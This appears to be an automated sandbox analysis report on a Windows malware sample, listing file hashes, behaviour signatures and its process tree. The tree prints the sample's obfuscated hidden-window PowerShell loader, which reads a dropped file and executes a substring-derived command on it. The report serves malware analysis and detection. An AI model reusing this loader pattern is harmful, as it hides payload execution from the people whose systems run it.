Analysis
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max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
22-10-2024 12:20
Static task
static1
Behavioral task
behavioral1
Sample
001_215_EA2047939_202410210815.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
001_215_EA2047939_202410210815.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Kontokurantens.ps1
Resource
win7-20240729-en
Behavioral task
behavioral4
Sample
Kontokurantens.ps1
Resource
win10v2004-20241007-en
General
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Target
001_215_EA2047939_202410210815.exe
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Size
867KB
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MD5
25da279ad7ee7cc3b8d3e5cd5aa4b5b2
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SHA1
d1fc6cbe8d8cca235ed29de6b109a0cb951eb5f3
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SHA256
963d35a92ffdbbdd35c71fc392a73ce49e242ca1b80f94204ef714cc42bbf8d0
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SHA512
db074cfe6c006f194b8b4ca983fb83a88229beb229504c8eba07140fe490974e90dfe75b66b9c4d81bd319fdaaccc822473064771b7ac8d333012859f139498e
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SSDEEP
12288:l9Zwb4/I1H06OdtVQuqilUSDFOIBETeVlCE7vkQymGwSW01hXqvjoaCi7lnsZz0W:/dPFtVtOIB+alCJmvulW6Nd0vu
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepid process 884 powershell.exe 2780 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
powershell.exepowershell.exe001_215_EA2047939_202410210815.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 001_215_EA2047939_202410210815.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 884 powershell.exe 2780 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 884 powershell.exe Token: SeDebugPrivilege 2780 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
001_215_EA2047939_202410210815.exedescription pid process target process PID 2112 wrote to memory of 884 2112 001_215_EA2047939_202410210815.exe powershell.exe PID 2112 wrote to memory of 884 2112 001_215_EA2047939_202410210815.exe powershell.exe PID 2112 wrote to memory of 884 2112 001_215_EA2047939_202410210815.exe powershell.exe PID 2112 wrote to memory of 884 2112 001_215_EA2047939_202410210815.exe powershell.exe PID 2112 wrote to memory of 2780 2112 001_215_EA2047939_202410210815.exe powershell.exe PID 2112 wrote to memory of 2780 2112 001_215_EA2047939_202410210815.exe powershell.exe PID 2112 wrote to memory of 2780 2112 001_215_EA2047939_202410210815.exe powershell.exe PID 2112 wrote to memory of 2780 2112 001_215_EA2047939_202410210815.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\001_215_EA2047939_202410210815.exe"C:\Users\Admin\AppData\Local\Temp\001_215_EA2047939_202410210815.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2112 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Seppo=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\underarmsmusklens\Edriophthalmian\Kontokurantens.Unc';$Underviseren=$Seppo.SubString(52189,3);.$Underviseren($Seppo)"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:884 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Seppo=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\underarmsmusklens\Edriophthalmian\Kontokurantens.Unc';$Underviseren=$Seppo.SubString(52189,3);.$Underviseren($Seppo)"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2780
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD504253f92bd9f3996738e2c1221bd06ef
SHA129837e28d9bc6040eb6d50d2c3c4e0027c919699
SHA256deb079610644bddb749b099a9e36752b36a1fb14759af81230b786ed87d5ea44
SHA512afcace7342bf76270cf71bbdf9b9a5863b51a6ad4486d895c99db4c8697a59f7f1fc35a3405c830358375d17ddcefd0c58fed5ab9db688b054daa40341ddf0c1